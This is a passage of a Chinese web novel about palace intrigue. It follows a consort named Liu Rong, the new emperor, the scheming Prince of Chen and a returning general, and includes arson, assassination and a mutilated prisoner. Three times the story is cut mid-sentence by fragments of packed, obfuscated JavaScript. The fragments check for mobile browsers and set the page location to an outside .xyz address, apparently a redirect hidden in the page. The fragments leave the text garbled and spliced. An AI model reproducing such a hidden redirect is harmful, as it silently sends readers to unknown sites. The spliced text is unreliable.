l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039269|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,神容平静。 阴影遮住赵玉则半面冶艳眉眼。 不久前,淑景殿里温存的人还是自己,皇帝一来,他就让了贤。 如同一块用过即弃的物什,被女子索取尽后烫手山芋般丢开,毫无留恋,毫无情义。 赵玉则看向御窗,不觉自哂起来。 他是个最不讲情义的,竟有一日,也会怪别人无情无义来,对曾经嗤之以鼻的情义耿耿于怀。 御窗窗纱模糊,透着两道旖旎身形。 三更半夜,夫妻共处,还能在做些什么…… 思及此,赵玉则喉尖一涩。 殿内的私语、御窗上抖动的鸾影,无一物不提醒他,她与那人,才是天经地义,才是两厢情愿,他们行的事才配称夫妻之实。 自己又算什么? 他是何人?什么人也不是。 五年前,柳茸不过是他的谋士。说得好听,是谋士,说得直白,是棋枰上的棋子。 执棋的手由始至终在于自己。 她需要在长安立住跟脚,找上了自己毛遂自荐。他自然不信一个隔着血仇的人没有贰心,但……谁会拒绝一颗上门送死的废棋? 太多棋子自诩聪明,自以为身处棋枰上执棋,最终发现自身不过盘中棋子,更甚者,连做棋子的资质也不配,或疯魔,或含恨,在淤泥里自甘放下尊严,屈服于人。 赵玉则很好奇,这个女人发疯是什么样的。 如此秾丽的脸,折辱至疯一定很好看。 口口声声为他所用,姿态当真极其卑下,直至两相对视,她的双眸如汩汩泉眼,全无半点乞求讨好之色,偶尔在流水间,冒起零星尚未泯灭的、名为自尊的浮沫。 可惜,棋子不需要自尊。 他屡次观赏她垂死挣扎,将她至于死地,从旁研下一壶暖茶,默默观着长安的厚雪深埋她。 而后抿唇笑着撑伞渡过雪夜。 她的自尊还在么?他在夜里敲着永子。 一枚棋子罢了,挑个好时机,值当地死。 但柳茸,总能做得更好,一路从棋子跳到了棋盘外缘,而后下一次,坐上了棋桌对面。 从一开始,他们就落入彼此的算计中。 几次杀局都未能将她杀掉,他开始真正审视起她来。 是个很好用的棋子,也是自己教成的棋手,他没有刻意教过柳茸,是她耳濡目染,吸纳地迅速。 真是的……养虎为患。 待她在长安羽翼丰满,头一遭事便是公然与他割席,站到了与他不对付的太尉一党中,与之联手。 这五年里发生了太多,他们的关系已无法回头,她再不是谁的谋士,自己与她“狼狈为奸”的岁月如同就这样抛诸了脑后。 她走地干脆,离去地利落,剩下的时日里,留给彼此的就只有无数杀机。 在朝堂上针锋相对,明枪暗箭,在私宅里投毒雇凶,她让自己留意上她,又偏偏得不到她。 甚至,他成了不能见光的人。 人人都有名分,人人都能与她正大光明,包括被他亲手扶持起来的天子。 而他,身为亲王贵胄,要缩在阴暗的角落,被她当成最不堪的私隐般藏着遮着…… “素来高贵的陈王,也不过如此嘛。”第一夜里她那饶有戏谑的品评又在脑中响起。 赵玉则的指甲嵌进肉中,刺破皮肉。 今日送上杜攸之任凭柳茸发落,他敢说心里未升起过一丝丝望取悦对方的私心? 如何竟到了这般田地了呢…… 33. 夜话 “我想开女子科考。” 淑景殿里,柳茸恹恹倚在美人榻,呵出一句话。 榻边的男人清洗着帕上血迹,没在水盆里的手一顿,“你……” “陛下不喜?”柳茸捧住他的脸庞,如捧一弯明月。 新帝闪避双目,冷哼了下,“朕又没说不允。” 他侧颜利落,一层鸦睫在灯下厚厚堆叠出墨影,厚重的龙袍垒堆在地,毫不在意地屈膝洗着金盆中的帕巾。 柳茸满意地收回指腹,“陛下,你没有理由不允。” “毕竟臣妾做的一切,都是为了陛下……” 墙角九枝灯火苗跳动,床帐下挂着的两只铜雀烛影交缠。 “朕知道,”新帝幽瞳晦明不清,“你惯会替朕分忧。” 他不是不会不允,是不能说不允。 与其他人,他是天子,然而于她,只是个穿龙袍的。 秋闱开考招女子乃太尉生前所上疏。 此法一经上奏,各地大儒与老臣的参本雪花般砸来,几乎淹没整座御书房,甚有死谏者。 此事本是各州反对,但,皇帝准了,定宣德三年拟设考场。 宣德二年,太尉病故。 从前反对的老臣皆笑是遭了天谴,触祖宗之大忌,所有人都能活到秋闱开考,偏生提出此计之人没命见到律令施行那日。 乐不可支的嘲弄犹如在耳,新帝定定望了在卸护甲的柳茸一眼。 ——不,此计真正的提出者已经看到了。 “陛下,我这可是为了陛下啊……” 他又想起她鬼魅的声音。 朝堂重臣大多是士族出身,盘根错节,他与她是一条绳上的蚂蚱。 一个不得不依凭势力登基无法根除士族的新帝,一个无士族背书的女子,各取所需,各谋其利。 提出放开女子科考那日,她笑语晏晏,道,士族大多盘根错节,开女子科考既能令后宅女子也为国所用,以彰陛下之德,又能令朝中有彻底为陛下所用忠心不二之臣,何乐不为? 究竟是为他所用,还是为她所用呢。 新帝在心底冷嗤。 她总是如此,口吻极尽柔情,蛊惑着每一个人为自己行事。 帕巾上的血水被拧干,留下不深不浅的褐色。 “陛下,娘娘,浴水备好了。”门外响起宫娥的声音。 柳茸与新帝交换了个眼色,“我先去吧。” 她从美人榻上下来,身姿似饮了杯春酲醉玉颓山,榻下的男人意欲扶住,被堪堪避过,“陛下在此处便可。” 女子的背影消失在珠帘光影摆动之中,新帝瘦劲的手捏紧帕巾,隐隐析出几根青筋。 宫娥正要上前接过帕巾,他收回手,走向美人榻,将榻上掉落的青丝逐一拾在手心,取出枕边一盒金匣。 金匣打开,是数不清的发丝,不知是何年月拾掇的,有短有长,整齐排列。 新的发丝被捋齐,与帕巾一同放进。 “存在老地方。” 宫娥应声而去,柳茸正从浴桶而出,浑身未散的水汽蒸腾,在夜里渡了会儿凉,裹着被进入床榻。 不久,身侧窣窣窸窸,无法被人忽视的存在感与鼻息占据着床榻另一侧。 显然,有人也沐浴好了,在另一个张被衾下和衣而眠。 床榻间隔出一道默契的距离,秃露出花纹底的缝隙。 成婚以来,他们一向如此,从不逾矩。 “大将军就快回朝了。”暗夜中,新帝先启唇。 柳茸一怔,大将军,薛不虞…… 身旁的被衾动了动,一枕之隔,男人低哑的嗓音再次从发后响起。 “朕托人告知了他朕要封你为后,命他回京参礼,你很快便能见他,喜欢么。” “哪有什么喜欢不喜欢的,我如今与陛下才是夫妇。” 一声轻笑,柳茸的发丝传来酥麻的抚摸,“你放心,他与朕的后妃昔日夫妻一场,朕不会不厚待的。” “赵凛,”柳茸出声,身后的手一顿,“睡了。” 她拉高被衾,把头埋进被中,一股拉力似被刺激到了般不依不饶将她拉出被衾外。 “你看啊,只要提到薛不虞,阿姊,你永远会这样。”男人坐在柳茸身上,压住她的腕,“为何?” “你很在意?” “朕的皇妃心里有人,朕不能在意?”新帝桎在手腕的手越来越紧,“其余的男子睡了便睡了,给朕的后妃尝尝新鲜罢了,朕的后妃要什么绝色不能有?” 一只手抵上柳茸下颌。 双唇被下颌顺来的力气掰开,湿凉的空气灌进口腔四壁。 夜气,凉得令人发颤。 “朕还没瞧见任何一个男子如薛大将军般,能令你身心惦记。” 柳茸:“……” 新帝眉心凝重,等着她的答复。 但回应他的,唯有柳茸沉冷的眸色,在斑驳月色下,衬托地更加淡漠。 他怔了,无措地坐在上方,进也不是,退也不是。 “赵凛。”过了许久,柳茸出声,身上的男人方如梦初醒。 “你弄疼我了。” 柳茸唇角平直,不带笑意。 男人顷刻放开手,她撑起腰身,指尖剐蹭上他的脸。 有那么一瞬,新帝失神,眸影凌乱,“阿姊……” 一记掌风,他挨了她结结实实一掌。 “去岁匈奴南下,薛将军领命北上御敌,陛下,因一己之私便命人回京,可曾想过边关一旦失守的后果?” 然而新帝捂着肿红的左脸,只是冷笑,“看来薛不虞尚未告诉你,是他自己要回来的。” “他自己……?” “朕给他这个机会。” 新帝神色柔和下来,“阿姊,你会是封后大典最美的皇后。” 但如此美的她身边并肩的,是他。其余的男人只能见证她最美的一面,却不能拥有她。 他要那些肖想的新欢旧爱都看见她,却得不到她,就像在看天上银河华光,他要他们使尽气力伸手去够,却永生够不到。 就像那个过往在勾栏院的少年一样,夜夜抱着阴蚀入骨的欲念入睡,白日与她肌肤相贴、感受她分明在自己背上却遥如千里无法独属他的刺痛,他要旁的人也体会下。 窗外闪过一丝头戴幂离的黑影,隐没暗色之中。 新帝瞥了眼消逝窗外的影子,绵绵密密的快意胀满胸口。 瓷盏碎在茶几。 “殿下,仔细伤了手。”陈王府内,老仆上前在赵玉则即将碰到碎片时扫净。 “记得初遇贵妃娘娘时,你好像对我说过话。”赵玉则淡淡坐在茶座,如一株夜里暗香的玉兰。 “记得,‘主人何不把她纳了’。” 那时他回了什么?想起来了,那时他专心棋局,随口回了句,不必,将她留在崔元身边更有用。 至少那年的他是当真无任何非分之想,与一枚棋子产生纠葛,比起天方夜谭,更像痴人说梦。 封后一事筹办地紧锣密鼓,皇城内外挂满红绸。 柳茸抽空去了趟刑部。 刑部地牢深处,杜攸之倒在墙根,被送入净事房后某日,因一则小事,他被污诟入狱。 在见到墙根逐渐靠近的倩影,他几日滴水未进的嗓子嘶声喃喃。 “你是不是想问我为何这般对你?” 杜攸之的舌被拔除,舌根下是黑黢黢的空洞,但柳茸看透他的眼神。 那双眼在问她当初为何弃他而去选择了崔元,在问她为何要对自己残忍决绝。 “杜攸之,还记得你答应过我吗?若你负了我就让我割去你的舌头。” 他扒住狱栏,浑身血液沸腾至极,一个劲地摇头。 “是,杜公子今生从未负我。” “可你前生负了我,”柳茸顿了下,“而我,很记仇。” 杜攸之额贴狱栏,眼底尽是不解。 前生一词太过虚无,有人为前世而磨折现世之人,旁人必以为她是疯了。 可柳茸很清楚,杜攸之在用眼神告诉她,她疯了。 “我没疯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077694|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜攸之,若我选了你来日也必会负我,想知道我选了你后会发生吗?” 杜攸之歪着脑袋。 “会被你敬重的父亲纳走,而你会拱手将本宫让出去。” 狱中的男人瞪大充血的眼,好似难以相信一场荒唐话。 “你会这么做的,因为杜攸之,你本就是个懦弱的男人,不堪大用,一昧顺父母意活,便是你最钟意的活法。” 柳茸背过身,狱中火把照清她的眼,她的眼中没有愠怒,没有怨恨,仅仅是单纯的——鄙夷。 “令尊的尸骨前日已弃市,你若想救,去阴曹地府里给个阎王磕头,说不定能叛他少受些罪。” 说罢,柳茸身后爆发出嘶喊,奈何杜攸之没了舌头,只剩下啊啊声。 “你是在说你的父亲蒙冤吗?”柳茸回过头,对对方的反应意料之中。 “杜攸之,你有认真瞧过你父亲纳的姬妾吗?你见过她们生病的脸吗?你只见你父亲可怜、被构陷,你有见过她们的日子吗?” “你父亲死了,不会有人伤心,只会有拍手叫好的人。” 杜攸之摇头欲辩,却听柳茸道:“你可知换作崔元会如何?” 他的叫唤刹住,认真侧耳。 “他会为了我,为了认定之事与生父决裂也不惜,你能做到吗?” 思量过后,他的神情染上一分愧色。 “这便是为何我不选你。你不必觉得与我兰因絮果,因为我本来,就不曾钟情于你过。” 火把映着女子的身影远去,牢狱重归黑暗。 对这个男人,柳茸无爱无恨,某人将他当做贺礼送来自然也讨不到多少欢心。 牢狱底下的苦痛也与她无关。 倏忽过了一柱香,待女子的身影消失,地牢的火把再次被人点亮。 新帝的面庞在火光中显现。 由上至下打量着狱中那张令人不悦的脸。 当初,他背着柳茸出勾栏院送上的便是眼前阶下囚的榻。 每背一回,便在手腕刻上一刀,直到小臂密密麻麻缠绕起纱布。 思及此,新帝以手抹了抹喉,狱卒颔首,狱门再合上,狱栏里的人已没了气息。 刚出狱门,一列阉人步伐慌忙。 “冲撞御前,可是死罪!”随行礼官呵斥,阉人当即跪下,捋清话舌,说是宫内失火。 “何处?”新帝正色,若是寻常走水还报不上他面前,是御书房?宣机殿? 而阉人欲言又止,说了个新帝料不到的地方——柳茸的淑景殿。 火势照如白昼,乌烟从朱红宫墙之中滚滚飘荡天际。 宫人的呼号在皇城久久不散。 与宫闱相距不远的百尺明堂之上,赵玉则望着檐上风铎,低头摆弄着棋盘。 天色已经很晚了,风势之下,整座宫闱幻似一条舞动的火龙。 “都烧起来了吗?”赵玉则观着火龙舞动,永子绕着指间打转。 死士点点头。 赵玉则的脸在火色通明下透如红玉,“取箭来吧。” 下一刻,一根长箭刺穿刚跑出御景殿的宫仆咽喉。 与此同时,第二根箭,刺穿身旁纵火归来的死士。 温热的血打在赵玉则侧脸,他静谧擦去。 封后与秋闱过后,柳茸在朝堂间的势力与人手只会不减反增,故而这场火,必须要在秋闱前,烧起来。 一个人钟情另一个人就会上心,今夜过后,他会将她放在心上很久,很久…… 赵玉则居高眺望着下方火海,命人搭箭按弦,直至烈火之中再无活物动静,他摆手,正要撤箭。 刹那间,热浪翻腾,火舌断梁。 淑景殿的殿门开了。 一袭榴红的身影从殿门走了出来。 明堂之上,赵玉则的眼瞳掠过一抹惊异,如同海浪卷起飞鸥翻飞。 应当被他葬身火海的人还活着。 她已经不再惧怕火海,淡然跨过一具具血泊里的尸体。 而后早有预料般抬起头,直勾勾对上他的视线。 34. 重逢 火舌舔舐丹梁,暗夜里万箭不发。 柳茸一身入睡的中衣,随意披了层榴红披帛。 地上有死人,她自若地观了一眼,拉拉即将脱肩的榴红,敛容抚好衣袂,缓缓行在火海之中。 仿佛只是午夜梦醒,于庭院中执扇纳凉。 赵玉则立在明堂上,火光烈烈,他畏敏的肤肌发痒起来。 看着蔓延到手背大小不一的红斑,他微微蹙眉,玉般透光颀长的手接过幂篱,正要戴好,一根弩箭自下而上划破脸颊。 “呲啦”一声,连同幂篱轻纱划开一道裂痕。 血痕,瞬间自他的伤口决堤。 柳茸放下弩机。 直视上那人的眼,无一丝波澜。 赵玉则的眉梢难以压抑地跳了跳,过了片刻才摸上脸颊。 指尖黏糊如泥,他将手晾到视野里一看,一滩血色。 莫名地,柳茸见他笑了。 被人射破面颊,反而笑了。 她没有暇隙去深思赵玉则的笑,抽箭,放箭,套绳,重新架起弩机。 可原本站在明堂望台的赵玉则已不见踪影。 柳茸调整弩机的方向,头顶上渡鸦盘旋,挡住了明堂高台,空中弥漫着腥红血香,有异物在风中呼啸,紧接着,数点星火落下——是箭矢。 千钧一发之际,柳茸抽开尸身上的刀鞘,拔刀格挡。 但有一把刀,比箭更快,比雨更密,挡在了她身前。 寒光之下,箭镞骨骸洒了一地。 挡在身前的身影穿着厚重的盔甲,头上是未卸的兜鍪。 密集如针的乱箭于他面前如卷揉成条的废纸,失了威胁,褪了煞气,软绵绵折断。 他转过身,露出那张阔别许久的容颜。 而后在柳茸足前,屈膝跪下。 “臣薛不虞来迟,娘娘恕罪。” 柳茸:“……” 夜风中,乌烟呛得人失语。 来人的衣上仆仆风尘未去,盔甲上数不清的刀戈划痕。 而这张脸,与当年别无二致,依旧是记忆中剑眉星目的模样,唇薄色淡,未张开的口中藏着两颗小小的虎牙。 她还记得,在这张脸上,她见过少年人的张狂,不畏天不畏地,只为明天饮一壶美酒。 如今细看,张狂的眉宇依在,只是眼眸换了底色。 “你回来了……”柳茸想触碰他的发梢,须臾止住了手。 套在男人头上冰冷的兜鍪隔开了她试图靠近的指尖。 跪在自己足边的人没有任何抬头的表示。 柳茸轻扯嘴角,“抬起头来。” 那人终于听命抬头。 北地风霜相加,竟未损这张容颜的俊俏,厚重的雪霜与军营篝火在他身上留下独有的气味。 虽是跪着,一股生猛野兽之气。 “你来得很及时。” “娘娘大典在即,自是耽误不得。”薛不虞特意咬重了大典二字。 几年前,他们也有过相似的“大典”,青卢锦帐,红男绿女。 然而那些回忆都已随水流走。 柳茸裹了裹身上的披帛,“离封后大典还有五日,你还不算耽……” 跪在身前的人没有接茬,避退地低下头。 柳茸缄默一瞬。 “本宫的确想好好谢大将军,但擅闯后宫终究当论罪,大将军以为呢?” 薛不虞哼笑,“那娘娘给我发的密信如何说?” 他的语气中带着若有似无地质问,恍如又成了当年回捉青虫吓唬她的剑仙。 “很好,赏。” 周遭都是尸骨,有人的,有箭的,柳茸的话语掷地有声,好似只要她发令,失去魂魄的残躯断骨就会吱呦呦从地上爬起听命移动。 最末一道火墙扑灭,新帝脸色焦灼地出现在仪仗后。 见到柳茸平安无恙后,他阴沉到要杀人的脸色稍稍放晴。 一声阿姊刚想叫出口,眼尾一扫,便看见了她身边极为碍眼的存在。 “薛大将军也在?”新帝打了声响指,身后仪仗自觉屏退。 “臣听命护娘娘周全,持剑夜闯宫闱,还请陛下责罚。” 这话的意思是在暗讽他身为夫君连柳茸的安危都比不得一介外人护得全,新帝眼眸微觑,“还知道自己夜闯宫闱。” “不然如何护得了娘娘。”薛不虞仰起脖子。 新帝的脸色并不好,谁人不知淑景殿有金吾卫把守,私自调离金吾卫护救,将他这个天子置于何处? 那名值夜的金吾卫长的脑袋在隔天被砍掉,只是斧头下去前一刻柳茸拦住了要杀人的陛下。 而今夜,长夜漫漫,淑景殿化作焦木一片,已然不能住人。 新帝挪动脚步走向柳茸,地上久跪的人再拜起身,盔甲发出轻响。 “既然娘娘无碍,臣先告退。” 柳茸想叫住他,转身,薛不虞挺拔的身姿不留恋地消逝在风里,留下她挽留般伸长的臂在他消逝的方向。 一只手握住她掌心,移下她的手臂。 “朕的爱妃在看着旁人,叫朕如何是好?不如召薛大将军来听墙角?” 柳茸白他一眼。 新帝微眯的眸子原本有些不快,见她不再像尊木雕佛像,心情倒舒畅了些,“为何不去殿内的密道避难?” 皇宫密道交错连结,若向西走她便会逃进他的寝宫。 想到她乍然出现在自己就寝的寝宫,说不定被火闷困了,倦了,憩在御床上,不再裹紧被衾……新帝的手微痒,很快又打消不该有的念头。 现在这样也不赖,柳茸的淑景殿烧了,他没有给她安排偏殿的意思,而是将人带回自己的寝宫。 头一次正式意义睡在属于天子的御床而非淑景殿,柳茸睡得并不踏实。 在火场中待久了,身体还是热的,换了好几盆凉水才稍稍降下些。 这不好,很不好。 至少会让她想起一些拥有过的东西,比如青年人炽热的胸膛。 习武之人大多不体寒,薛不虞更是这方面的佼佼者。 错过练武时机的柳茸实在羡慕,每回她批公文,背后偶尔会窜出双大手,大喊着偷袭,将桌案上的她抄起揽入怀。 瞬间扑入他滚烫的怀抱,像跌进一块大炽铁,若他放声大笑,衣物跟着摩挲,体温传得更快了。 其实,在青年靠近之初柳茸就已觉察到了,热哄哄的一个人猫在身后,体寒如她怎会感受不出周遭的浮动。 这点柳茸一直不告诉他,配合着他在杨花里笑。 那年,他泛起的酒窝能笑杀秾花。 御床里进了人,湿淋淋的冰水帕子擦拭在脖间,柳茸的思绪抽回,迷迷蒙蒙拨开眼皮,是一张眉眼锋利的俊容,只不过不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090963|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是脑中那人的,是新帝的。 拧了水的帕子撂在她脖间,待枕边人的呼吸慢慢沉了下去,柳茸也进入梦乡。 今夜那人离去的背影在她的脑海挥之不散,烟笼雾罩。 她梦见自己与薛不虞重返长安的那段苦日子。 那时的日子真的很苦。她举目无亲,在朝堂也无甚根基,得不到任何一拨势力提拔,反而因为与崔元有旧被部分官僚避之不及,赵玉则一边利用一边打压着她,也不知何时能出头。 更多的人,则是带着好奇观猴般审视着她。一个女子能在官位上做多少日?期月?期年?还有赌三日的,酒肆里哄笑一堂。 茶余饭后长安数十万个口总要有些谈资的,多是发生的新鲜事与新来的官吏,她就是那个谈资。 可她并不喜欢成为旁人茶余饭后的谈资。 她想上去制止,而腰带上叮啷的铜板叫回了她——今日的饭食还没买。 在长安居真是大不易,哪哪都需要金银铜米,开销比益州高出不止一摞元宝,光是住房就已占去柳茸一半俸禄。 但长安就是如此,三品大员也不一定能买到上朝最便利的宅邸,不少勤勤恳恳几十载不走斜径的京官就更莫提了,仍租着京畿的赁屋?。 早先不乏有好奇的贵妇人跟随柳茸点卯归家,就为窥一窥同为女子的女官住在何处。 跟着柳茸一通左拐右转后,她们踏足了此生去过最穷酸的小巷。 大失所望,还没外宅妾室的屋子敞亮。 有关她的谈资被新风物取代,耳边少了聒噪,柳茸很自在。 反倒是薛不虞,像是看不下去了邀她与自己同住,公主幺子有自己的宅邸,不收她赁金?。 再一次地,柳茸拒了他。 “这像话吗?” 薛不虞不明就里地嗯了声,“什么像不像话的?” “我与你师兄的关系你不是不知,再寄你篱下,这不像话。” 他一怔,讪讪点头。 半晌又问:“你在益州时也是住在刺史府,在长安住我府中有何不可?” “不一样的。” “有何不一样?不也是权宜之计?”他松松垮垮抱着剑,与趴在屋顶的大猫形同,懒懒睁开眸瞄她一眼躲进树上。 彼时雍王被刺身亡,处处是薛不虞的通缉令,不久,雍王被批为反贼,党同伐异、挟令天子条条桩桩遭人痛斥,生前树敌树敌颇多,死后恩仇反噬。 重新自如行走长安,薛不虞为柳茸推荐了个去处,城阳公主府。 城阳公主孀居数载,偶会来儿子的府邸,柳茸在薛不虞的府邸外远远见过。 “去吧,阿娘是个顶好说话的人,会喜欢你的。” 薛不虞看出她的愁绪,将拜帖塞入她手,顺便顺走她从货摊买的香囊,抛掷了一日。 彼时的他在长安依然仗剑任侠,就是不袭父爵,也不谋一官半职,最常做的便是听他师兄的交代护在她跟前。 长安鱼龙混杂,他侠心不减。 而今,长梦飘渺散去。 昏睡一夜醒来,柳茸睁眼已是东方大白,身下是天子的宫殿。 晨钟敲响,百官沐在曦光下陆续散朝。 下朝路上她再次见到了薛不虞。 对面的人作揖行礼,与她同行一路,双目放空落在远方。 他的侠心,已经不在了。 35. 侠心 薛不虞有侠心时,做什么都很积极。 他会为了她醉后一句无心的“想家”不遗余力地去追查她阿爹下落。 跨越大半山河,星夜宿野,在江河湖海间,他来去如风,去找寻柳茸早已忘记名字的故乡。 最终,带回了她仅剩的至亲的死讯。 她的阿爹,早就葬身鱼腹,渔船出海遇险,抚恤金并未落到柳茸手上,被将她卖到人市的主家私吞。 那个扒在茅屋前的小女孩再也等不到回家做饭的亲人。 多年来柳茸已揣测过无数终局,她并不意外,甚至倏忽觉得情理之中,但待亲耳听见一个人、一桩事尘埃落定,才姗姗意识到,她的至亲,是真的离她而去了。 “主家的人呢?”当年卖她的主家,柳茸想见一面他们的样子。 儿时的自己太渺小,连到他们跟前磕头都是一种奢望。 薛不虞擦着爱剑,下颌轻扬,指向几颗黑布裹的“球”。 剑客除贼,顺手为之。 渗血的脑袋歪歪斜斜,柳茸不畏腥腐,拆开布纱深深望一眼,重新绑上布纱,学着他的口吻讷讷地道谢,“多谢。” “错了。” 霁蓝色的人影窜到她跟前放下两坛酒,掀开酒盖,一坛在他,一坛在她,忽的相撞了下,嗡的一声,醇音清湛。 “这样才叫道谢。” 酒面涟漪圈圈,落进一根碧草。 他应当是快意的,如若没有发生那件事的话…… “娘娘?” 宫人的轻唤拉回柳茸飞到九霄云外的神思。 方才在身边同行的薛不虞已离去,先前所站的位置空出灌入凉风,柳茸肩臂微冷,想到今日早朝没有听政,紧忙收拾好心境回宫理事。 淑景殿失火、贵妃遇刺一事半日之内朝野皆知,百官众口不一。 赵玉则的动作快得惊人,夜里着的火,寅时朝会提的事,日中不到便有数名小官伏地认罪,在狱中声称是自己做的事,一鼓脑揽了罪责。 犹如金蝉脱壳,褪地一干二净。 那个人从来惯于拿捏人心七寸,柳茸深知,牢狱里的官吏背后皆过了生死状,一旦下狱任严刑相加也是决计不改口的。 新帝想拿金吾卫开刀,以守卫不周为由杀鸡儆猴,柳茸叫停了手。 如今不比登基时需要大力威慑,入宫以来几轮转换宫内多换成了她的人,若因此杀了正中赵玉则下怀。 想让那人不对腾出的位置做手脚是不可能的。 但眼下最紧要的是封后大典,以及……今岁的男女同考。 女子科考跳脚得最厉害的几名老臣柳茸初来长安时打过照面,在陈王府邸。 因贵妃与天子授意而步入朝堂的女官肯为谁卖力、入谁麾下,可想而知。 赵玉则不会容有人的手伸太长。 在麻烦出现前,把麻烦的源头解决掉是最快的计谋。 淑景殿的火,是真心实意要烧到她身上的,赵玉则,也是真心实意打算置她于死地——这个女人已经不受控制了。 绵绵秋雨落下。 一切仿佛又回到五年前柳茸从陈王府中走出的夜晚,雨后郊外野狐啾啾,平添一分湿凉。 “阿姊,我真要参加今年科考吗?” 小青捧着脸,脸色不是很好。 五年过去她模样稍大,心思也年长许多。虽说柳茸在无一日不上心的监督下她已熟读诸多典籍,可真要坐在科考真强实战小青自己心中也没底。 “因为阿姊需要你。”柳茸的眉间染上几分柔意。 小青脸边一热,忽而蒲桃大的眼珠转了转,歪过头欸了一声,“那阿姊以前为何不自己当宰辅?” “我?” “对啊,就是阿姊!阿姊从前是女官,比许多女子离这个位置近多了,也容易多了,若真想要我大梁出个女宰相阿姊自己做岂非更好?缘何又要拱手让给我们这些半吊子?” 柳茸失笑,“会有比我更适合的女子。” “小青,你知道吗,”她指腹轻柔,揉着女子覆在额前的发,“在我那时是无法做到宰辅的,阿姊当年可没有后妃支持女子科考,今日能放开女子为官的路是因我来过。” 她摸上身下坐着的凤位,金做的凤首冰透刺骨,几日后,她将于此封后,开启又一段长梦。 “这个位置既然仍存,总要有人去做的,”柳茸苦笑,“不如换我来。至于宰辅之位,天下之大,会有更适合也更需要它的人。” “可是阿姊你也能当的,难道要在宫里一辈子?闷死了。”她嘟哝着唇,温至一半的书合上。 “不许偷懒。”柳茸翩翩笑,摆正合上的书,“小青,一辈子待在长安的皇城,阿姊不介意的,但是你,还要好好参加科考,不要成为我。” 至于朝堂上的那个人,只有她有经验对付。 * 陈王府,瓷玉般的人似有所感,仰天一视。 长空下,明月舒光,赵玉则侧过首,继续缝补膝上的幂篱。 白纱破了道狰狞的口子,与幂篱格格不入。 在手边抱起,仿佛还残留着箭镞的锈腥。 “殿下,此物已破,不如弃了吧?” “下去。”赵玉则一眼未抬,手中银针缓缓穿过轻透白纱。 仆从不敢多嘴,抱着茶盘屈行退下,生怕多耽误一刻人头点地。 一记针脚扎歪不慎半寸,落在破处边缘。两三条金蝉线针脚与较远的针脚比在一处,极为碍眼。 赵玉则眉锋一拧。 砰,幂篱带绣棚一同砸在地上。 绣错一针,就是错了,赵玉则不容许自己有任何差错,一如已有瑕疵的事物他从不再用第二遍,衣物也仅穿一次,隔日即弃。 而现在自己在做什么? 在修破了的幂篱。 明知这片幂篱已不可修补如初。 “若说想做陈王妃,姑娘还……” 他犹记得当年对柳茸浅言则止的谩笑。 止住的言辞并非克持,而是不屑言明。 五年前的他对柳茸无关爱与恨,哪怕是她当真裸酲上榻,流转在他眼中的,也只会是轻蔑。 对足下觅食的蚁虫的轻蔑。 踩死也无需他亲自下脚。 日久才认清遇上的根本不是蝼蚁,是一只捕食玉蝴蝶的黑蜘蛛。 她的网有毒,蛊住飞过的玉蝴蝶,封裹成茧蛹缓缓蚕食。 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薛不虞班师回朝,带来大梁战捷的消息,她过往的情缘在长安的又多一条,掩盖在举国同庆的欢声下。 宫里有一个眼不见为净的就算了,朝中又回来一个。 镇国大将军,本是自己的,西南道与西北道兵权,也本是自己的,就连她本也…… 唇角在抽动,赵玉则屏住心绪,勉力维系平稳。 ——“陈王妃本宫可高攀不起,只能攀攀‘燕王妃’了。” 册立贵妃前夕,柳茸对他叹的话言犹在耳。 昔日调笑回旋己身,像是照脸来了记不重但足以刮出血的掌掴。 言下之意,由始至终陈王妃的位置就无需对柳茸提防,她本就瞧不上。 柳茸说此话时自己在做甚? 赵玉则苦思,想起来了。 在沉浸糜艳的欲海里。她的话如毒蝎,蜇地他双目阴恻,悄声睥她,恨不得即刻抽身离去,却又无法真的停下。 眼雾盖过双目,五感具丧,只得拥着眼前仅有的、天明即逝的她,推向更高的浪潮。 不见光的交易,这对她或对自己都好。 后妃与皇弟终归不是同路。 赵玉则一度以为柳茸是在为彼此于世人眼中留份体面,她与自己一样,是个权衡利弊的女人。 深思一些时日后方知觉,是她是将他放弃了。 连曾经与她几近走到决裂的薛不虞都能被她放下私怨委以重用,至亲至疏信任无间,唯有自己不能。 赵玉则摸上被刮花的脸颊,紧闭府门,直待伤口变变浅那日方开窗远望。 一望便望到了百丈之外,封台之上,重新打开窗,一顶凤冠戴在柳茸头上。 她通身搽着严妆,珍珠粉和的,赵玉则一眼便能观出。今日全身的肤色与往日有别。 视线被一角龙袍阻隔。 有人执着柳茸的手,与她一步步登上封台,将凤印交到她手上,稳稳按住,两只手交织缠握。 而那人不是他。 36. 封后大典 天边有曙色,雨后霁虹。 柳茸发上,九鸾凤钗随着她渐行渐高的身影倒映入玉阶积雨化成的明鉴中。 山风轻抚下,凤袍衣襟间的金玉麟麟,光彩夺目。 风有些大,柳茸收紧袖口。从旁伸来一只手执住她,阻隔风雪,续上即将告罄的温热。 那只手的主人岿然昂着头,注视着至高处的祭台,平稳地牵引着她登上玉阶。 “阿姊……” 